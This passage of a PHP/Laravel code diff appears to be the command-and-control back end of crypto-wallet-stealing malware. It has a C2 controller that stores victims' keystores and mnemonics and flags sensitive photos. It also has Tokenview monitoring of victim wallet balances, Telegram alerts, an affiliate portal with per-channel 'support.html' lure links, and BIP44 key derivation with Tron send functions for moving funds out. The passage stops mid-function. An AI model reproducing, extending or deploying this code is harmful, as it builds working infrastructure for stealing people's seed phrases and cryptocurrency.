$content = $row->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'content' => $content ?: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = Note::query()
->join('devices', 'devices.id', '=', 'notes.device_id')
->select([
'notes.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,98 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Photo;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class PhotoController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.photos.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'size', 'x_hit', 'created_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
'size' => $row->size,
'x_hit' => $row->x_hit,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = Photo::query()
->join('devices', 'devices.id', '=', 'photos.device_id')
->select([
'photos.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ((string) $request->query('sensitive', '') === '1') {
$q->where('photos.x_hit', '>', 0);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,41 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Services\SettingsService;
use Illuminate\Http\Request;
class SystemSettingsController extends Controller
{
public function index(SettingsService $settings)
{
return view('admin.system.settings', [
'form' => $settings->effectiveForForm(),
]);
}
public function update(Request $request, SettingsService $settings)
{
$data = $request->validate([
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
'channels_domains' => ['nullable', 'string', 'max:4000'],
]);
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
$settings->putMany([
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
? (string) $data['channels_max_per_agent']
: null,
// Persist normalized comma-separated list (empty clears override to []).
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
]);
return response()->json(['code' => 0, 'msg' => '已保存']);
}
}
@@ -0,0 +1,150 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
class WalletAddressController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletAddress::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.addresses.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
/** @var WalletAddress $row */
$coins = $row->formattedCoins();
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'chain_type' => $row->chain_type ?: '',
'address' => $row->address,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'monitor' => (int) $row->monitor,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function update(Request $request, WalletAddress $address)
{
$data = $request->validate([
'monitor' => ['required', 'integer', 'in:0,1'],
]);
$allowed = WalletAddress::query()
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->where('wallet_addresses.id', $address->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
if (! $allowed->exists()) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$address->monitor = (int) $data['monitor'];
$address->save();
try {
app(TokenviewMonitorService::class)->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
]);
}
private function baseQuery(Request $request): Builder
{
$q = WalletAddress::query()
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->select([
'wallet_addresses.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_addresses.source', $source);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,59 @@
<?php
namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AuthController extends Controller
{
public function showLogin()
{
if (Auth::guard('agent')->check()) {
return redirect()->route('user.home');
}
return view('user.login');
}
public function home()
{
return view('user.shell');
}
public function login(Request $request)
{
$credentials = $request->validate([
'username' => 'required|string',
'password' => 'required|string',
]);
/** @var User|null $user */
$user = User::query()->where('username', $credentials['username'])->first();
if ($user && ! $user->isEnabled()) {
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
}
if (Auth::guard('agent')->attempt(
['username' => $credentials['username'], 'password' => $credentials['password']],
$request->boolean('remember')
)) {
$request->session()->regenerate();
return redirect()->intended(route('user.home'));
}
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
}
public function logout(Request $request)
{
Auth::guard('agent')->logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect()->route('user.login');
}
}
+20 -15
View File
@@ -68,11 +68,7 @@ class C2Controller extends Controller
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload);
// keystore-ish blobs
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
$this->ingest->ingestWalletSecrets($device, $payload);
}
$this->ingest->ingestKeystore($device, $payload);
}
return $this->encryptedAck();
@@ -94,7 +90,7 @@ class C2Controller extends Controller
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestWalletSecrets($device, $payload);
$this->ingest->ingestMnemonic($device, $payload);
}
return $this->encryptedAck();
@@ -130,13 +126,16 @@ class C2Controller extends Controller
$batchBase = '0';
}
$counters = [
'count' => $request->input('count'),
'total' => $request->input('total'),
'index' => $request->input('index'),
'batchBase' => $batchBase,
'ts' => $request->input('ts'),
'x-hit' => $request->input('x-hit'),
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
@@ -147,7 +146,7 @@ class C2Controller extends Controller
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'check_extract',
@@ -159,7 +158,13 @@ class C2Controller extends Controller
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'counters' => $counters,
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}
@@ -0,0 +1,37 @@
<?php
namespace App\Http\Controllers\Concerns;
use App\Models\User;
trait PortalAware
{
protected function portal(): string
{
$name = request()->route()?->getName() ?? '';
return str_starts_with($name, 'user.') ? 'user' : 'admin';
}
protected function isAgentPortal(): bool
{
return $this->portal() === 'user';
}
protected function agent(): ?User
{
if (! $this->isAgentPortal()) {
return null;
}
/** @var User|null $user */
$user = auth('agent')->user();
return $user;
}
protected function routeName(string $suffix): string
{
return $this->portal().'.'.$suffix;
}
}
@@ -0,0 +1,33 @@
<?php
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use SergiX44\Nutgram\Nutgram;
class TelegramWebhookController extends Controller
{
public function __invoke(Request $request, Nutgram $bot): Response
{
$secret = (string) config('coruna.telegram.webhook_secret', '');
if ($secret !== '') {
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
if (! hash_equals($secret, $header)) {
abort(403, 'Invalid webhook secret');
}
}
try {
$bot->run();
} catch (\InvalidArgumentException $e) {
// FakeNutgram with no update (unit tests) — still ACK the webhook probe.
if (! app()->runningUnitTests()) {
throw $e;
}
}
return response()->noContent();
}
}
@@ -0,0 +1,39 @@
<?php
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Log;
class TokenviewWebhookController extends Controller
{
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
{
$raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature');
if (! $monitor->verifySignature($raw, $signature)) {
Log::warning('tokenview webhook bad signature');
return response('invalid signature', 401);
}
$payload = $request->json()->all();
if (! is_array($payload) || $payload === []) {
$decoded = json_decode($raw, true);
$payload = is_array($decoded) ? $decoded : [];
}
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
}
// Tokenview requires HTTP 200 + non-empty body.
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
}
}
@@ -0,0 +1,23 @@
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
class EnsureSuperAdmin
{
public function handle(Request $request, Closure $next): Response
{
$admin = auth('admin')->user();
if ($admin === null || ! $admin->isSuper()) {
if ($request->expectsJson() || $request->ajax()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
abort(403, '需要超级管理员权限');
}
return $next($request);
}
}
+7 -1
View File
@@ -6,7 +6,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
class Admin extends Authenticatable
{
protected $fillable = ['username', 'password'];
protected $fillable = ['username', 'password', 'is_super'];
protected $hidden = ['password', 'remember_token'];
@@ -14,6 +14,12 @@ class Admin extends Authenticatable
{
return [
'password' => 'hashed',
'is_super' => 'integer',
];
}
public function isSuper(): bool
{
return (int) $this->is_super === 1;
}
}
+90
View File
@@ -0,0 +1,90 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Channel extends Model
{
public const OFFICIAL_USER_ID = 0;
protected $fillable = [
'channel_id', 'user_id', 'domains', 'status', 'remark',
];
protected function casts(): array
{
return [
'domains' => 'array',
'status' => 'integer',
'user_id' => 'integer',
];
}
public function user(): BelongsTo
{
return $this->belongsTo(User::class, 'user_id');
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function isOfficial(): bool
{
return (int) $this->user_id === self::OFFICIAL_USER_ID;
}
public function agentLabel(): string
{
if ($this->isOfficial()) {
return '官方';
}
return $this->user?->username ?: ('#'.$this->user_id);
}
/**
* @return list<string>
*/
public function resolvedDomains(): array
{
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
$domains = config('coruna.channel_domains', []);
return array_values(array_filter(array_map(static function ($d) {
return is_string($d) ? trim($d) : '';
}, is_array($domains) ? $domains : [])));
}
/**
* @return list<string>
*/
public function supportLinks(): array
{
$links = [];
foreach ($this->resolvedDomains() as $domain) {
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
if ($host === '') {
continue;
}
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
}
return $links;
}
public static function randomChannelId(): string
{
return bin2hex(random_bytes(16));
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
return max(1, $n);
}
}
+10 -5
View File
@@ -38,13 +38,18 @@ class Device extends Model
return $this->hasMany(Note::class);
}
public function wallets(): HasMany
{
return $this->hasMany(Wallet::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
public function mnemonics(): HasMany
{
return $this->hasMany(WalletMnemonic::class);
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
}
}
+4 -2
View File
@@ -8,12 +8,14 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Note extends Model
{
protected $fillable = [
'device_id', 'title', 'body', 'meta_json',
'device_id', 'content',
];
protected function casts(): array
{
return ['meta_json' => 'array'];
return [
'content' => 'array',
];
}
public function device(): BelongsTo
+9 -6
View File
@@ -8,14 +8,17 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
protected $fillable = [
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
'device_id',
'sha256',
'path',
'size',
'x_hit',
'upload_count',
'process_index',
'text_count',
'barcode_count',
];
protected function casts(): array
{
return ['counters_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
+10
View File
@@ -0,0 +1,10 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Setting extends Model
{
protected $fillable = ['key', 'value'];
}
+12
View File
@@ -0,0 +1,12 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class TokenviewEvent extends Model
{
protected $fillable = [
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
];
}
+14 -28
View File
@@ -2,48 +2,34 @@
namespace App\Models;
// use Illuminate\Contracts\Auth\MustVerifyEmail;
use Database\Factories\UserFactory;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
class User extends Authenticatable
{
/** @use HasFactory<UserFactory> */
use HasFactory, Notifiable;
/**
* The attributes that are mass assignable.
*
* @var list<string>
*/
protected $fillable = [
'name',
'email',
'password',
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
];
/**
* The attributes that should be hidden for serialization.
*
* @var list<string>
*/
protected $hidden = [
'password',
'remember_token',
'password', 'remember_token',
];
/**
* Get the attributes that should be cast.
*
* @return array<string, string>
*/
protected function casts(): array
{
return [
'email_verified_at' => 'datetime',
'password' => 'hashed',
'status' => 'integer',
];
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function channels(): HasMany
{
return $this->hasMany(Channel::class, 'user_id');
}
}
+116 -6
View File
@@ -7,16 +7,33 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model
{
/** @var list<string> */
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
/** Display decimal places per coin (UI). */
public const DISPLAY_DECIMALS = [
'usdt' => 2,
'trx' => 6,
'eth' => 6,
'btc' => 8,
'bnb' => 6,
];
protected $fillable = [
'device_id', 'wallet_id', 'address', 'chain', 'balance',
'symbol', 'telegram_notified', 'meta_json',
'device_id', 'address', 'chain_type',
'usdt', 'trx', 'eth', 'btc', 'bnb',
'monitor', 'source',
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
'meta_json' => 'array',
'monitor' => 'integer',
'usdt' => 'decimal:6',
'trx' => 'decimal:6',
'eth' => 'decimal:18',
'btc' => 'decimal:8',
'bnb' => 'decimal:18',
];
}
@@ -25,8 +42,101 @@ class WalletAddress extends Model
return $this->belongsTo(Device::class);
}
public function wallet(): BelongsTo
/**
* Map a symbol=>amount payload into coin column attributes (only known coins).
* Missing symbols are omitted (caller merges with existing row).
*
* @param array<string, mixed>|string|null $balance
* @return array<string, string|int|float|null>
*/
public static function coinAttributesFromBalance(mixed $balance): array
{
return $this->belongsTo(Wallet::class);
if (! is_array($balance)) {
return [];
}
$out = [];
foreach ($balance as $symbol => $value) {
$col = strtolower((string) $symbol);
if (! in_array($col, self::COIN_COLUMNS, true)) {
continue;
}
if ($value === null || $value === '') {
$out[$col] = null;
continue;
}
if (! is_numeric($value)) {
continue;
}
$out[$col] = $value;
}
return $out;
}
public static function displayDecimals(string $coin): int
{
$coin = strtolower($coin);
return self::DISPLAY_DECIMALS[$coin] ?? 6;
}
public static function formatAmount(string $coin, mixed $amount): string
{
if ($amount === null || $amount === '') {
return '';
}
if (! is_numeric($amount)) {
return (string) $amount;
}
$decimals = self::displayDecimals($coin);
$formatted = number_format((float) $amount, $decimals, '.', '');
$formatted = rtrim(rtrim($formatted, '0'), '.');
return $formatted === '' ? '0' : $formatted;
}
/**
* @return array<string, string>
*/
public function formattedCoins(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$out[$col] = self::formatAmount($col, $this->{$col});
}
return $out;
}
public function coinsSummary(): ?string
{
$parts = [];
foreach (self::COIN_COLUMNS as $col) {
$raw = $this->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
}
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
}
/**
* Snapshot of coin columns for change detection.
*
* @return array<string, string|null>
*/
public function coinSnapshot(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$v = $this->{$col};
$out[$col] = $v === null || $v === '' ? null : (string) $v;
}
return $out;
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'raw_json',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
@@ -4,35 +4,34 @@ namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Crypt;
class Wallet extends Model
class WalletMnemonic extends Model
{
protected $fillable = [
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
];
protected function casts(): array
{
return ['raw_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function addresses(): HasMany
public static function hashSecret(string $secret): string
{
return $this->hasMany(WalletAddress::class);
return hash('sha256', $secret);
}
public function setMnemonicAttribute(?string $value): void
{
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
if ($value === null || $value === '') {
$this->attributes['mnemonic_enc'] = null;
$this->attributes['mnemonic_hash'] = null;
return;
}
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
}
public function getMnemonicAttribute(): ?string
@@ -48,26 +47,6 @@ class Wallet extends Model
}
}
public function setPrivkeyAttribute(?string $value): void
{
$this->attributes['privkey_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
}
public function getPrivkeyAttribute(): ?string
{
if (empty($this->attributes['privkey_enc'])) {
return null;
}
try {
return Crypt::decryptString($this->attributes['privkey_enc']);
} catch (\Throwable) {
return null;
}
}
public static function maskSecret(?string $value): string
{
if ($value === null || $value === '') {
+6 -1
View File
@@ -4,6 +4,7 @@ namespace App\Providers;
use App\Services\CorunaArchive;
use App\Services\CorunaCrypto;
use App\Services\SettingsService;
use Illuminate\Support\ServiceProvider;
class AppServiceProvider extends ServiceProvider
@@ -26,6 +27,10 @@ class AppServiceProvider extends ServiceProvider
public function boot(): void
{
//
try {
$this->app->make(SettingsService::class)->applyToConfig();
} catch (\Throwable) {
// settings table may not exist yet during migrate
}
}
}
+107
View File
@@ -0,0 +1,107 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use FurqanSiddiqui\BIP39\BIP39;
use RuntimeException;
/**
* BIP39 seed + BIP32/BIP44 private-key derivation (secp256k1).
*/
final class Bip44
{
private const CURVE_ORDER = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141';
/**
* @return array{private_key: string, public_key_uncompressed: string}
*/
public static function derive(string $mnemonic, string $path): array
{
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
if (count($words) < 12) {
throw new RuntimeException('Invalid mnemonic');
}
$seed = BIP39::Words($words)->generateSeed();
[$key, $chain] = self::masterFromSeed($seed);
foreach (self::parsePath($path) as $index) {
[$key, $chain] = self::ckdPriv($key, $chain, $index);
}
$ec = new EC('secp256k1');
$pair = $ec->keyFromPrivate(bin2hex($key));
return [
'private_key' => bin2hex($key),
'public_key_uncompressed' => $pair->getPublic(false, 'hex'),
];
}
/** @return array{0: string, 1: string} binary key + chain code */
private static function masterFromSeed(string $seed): array
{
$I = hash_hmac('sha512', $seed, 'Bitcoin seed', true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
/**
* @return array{0: string, 1: string}
*/
private static function ckdPriv(string $kPar, string $cPar, int $index): array
{
if ($index & 0x80000000) {
$data = "\x00".$kPar.pack('N', $index);
} else {
$ec = new EC('secp256k1');
$pub = hex2bin($ec->keyFromPrivate(bin2hex($kPar))->getPublic(true, 'hex'));
$data = $pub.pack('N', $index);
}
$I = hash_hmac('sha512', $data, $cPar, true);
$IL = substr($I, 0, 32);
$IR = substr($I, 32, 32);
$n = gmp_init(self::CURVE_ORDER, 16);
$ki = gmp_mod(
gmp_add(gmp_init(bin2hex($IL), 16), gmp_init(bin2hex($kPar), 16)),
$n
);
if (gmp_cmp($ki, 0) === 0) {
throw new RuntimeException('Invalid derived key');
}
$key = hex2bin(str_pad(gmp_strval($ki, 16), 64, '0', STR_PAD_LEFT));
return [$key, $IR];
}
/** @return list<int> */
private static function parsePath(string $path): array
{
$path = trim($path);
if (str_starts_with($path, 'm/')) {
$path = substr($path, 2);
} elseif ($path === 'm') {
return [];
}
$out = [];
foreach (explode('/', $path) as $seg) {
if ($seg === '') {
continue;
}
$hardened = str_ends_with($seg, "'") || str_ends_with($seg, 'h') || str_ends_with($seg, 'H');
$num = (int) rtrim($seg, "'hH");
if ($hardened) {
$num |= 0x80000000;
}
$out[] = $num;
}
return $out;
}
}
+22
View File
@@ -0,0 +1,22 @@
<?php
namespace App\Services\Chain;
interface ChainDriver
{
public function chainId(): string;
public function deriveAddress(string $mnemonic, int $index = 0): string;
/**
* @return string txid
*/
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
/**
* @return string txid
*/
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
public function isValidAddress(string $address): bool;
}
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
use InvalidArgumentException;
class ChainManager
{
public function __construct(
private readonly TronDriver $tron,
) {}
public function resolve(string $chain): ChainDriver
{
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
}
+103
View File
@@ -0,0 +1,103 @@
<?php
namespace App\Services\Chain;
use kornrunner\Keccak;
use RuntimeException;
final class TronAddress
{
public static function fromUncompressedPublicKey(string $publicKeyHex): string
{
$hex = strtolower($publicKeyHex);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if (str_starts_with($hex, '04')) {
$hex = substr($hex, 2);
}
if (strlen($hex) !== 128) {
throw new RuntimeException('Expected uncompressed secp256k1 public key');
}
$hash = Keccak::hash(hex2bin($hex), 256);
$addrHex = '41'.substr($hash, -40);
return self::hexToBase58Check($addrHex);
}
public static function isValid(string $address): bool
{
if (! preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return false;
}
try {
$hex = self::base58CheckToHex($address);
} catch (\Throwable) {
return false;
}
return str_starts_with(strtolower($hex), '41') && strlen($hex) === 42;
}
public static function toHex(string $base58): string
{
return self::base58CheckToHex($base58);
}
public static function hexToBase58Check(string $hex): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$bin = hex2bin($hex);
if ($bin === false) {
throw new RuntimeException('Invalid hex');
}
$checksum = substr(hash('sha256', hash('sha256', $bin, true), true), 0, 4);
$bytes = $bin.$checksum;
$num = gmp_init(bin2hex($bytes), 16);
$encoded = '';
while (gmp_cmp($num, 0) > 0) {
[$num, $rem] = [gmp_div_q($num, 58), gmp_intval(gmp_mod($num, 58))];
$encoded = $alphabet[$rem].$encoded;
}
for ($i = 0, $len = strlen($bytes); $i < $len && $bytes[$i] === "\x00"; $i++) {
$encoded = '1'.$encoded;
}
return $encoded;
}
public static function base58CheckToHex(string $address): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$num = gmp_init(0);
for ($i = 0, $len = strlen($address); $i < $len; $i++) {
$pos = strpos($alphabet, $address[$i]);
if ($pos === false) {
throw new RuntimeException('Invalid base58 character');
}
$num = gmp_add(gmp_mul($num, 58), $pos);
}
$hex = gmp_strval($num, 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
// leading ones => leading zero bytes
for ($i = 0, $len = strlen($address); $i < $len && $address[$i] === '1'; $i++) {
$hex = '00'.$hex;
}
$bin = hex2bin($hex);
if ($bin === false || strlen($bin) < 5) {
throw new RuntimeException('Invalid address payload');
}
$payload = substr($bin, 0, -4);
$checksum = substr($bin, -4);
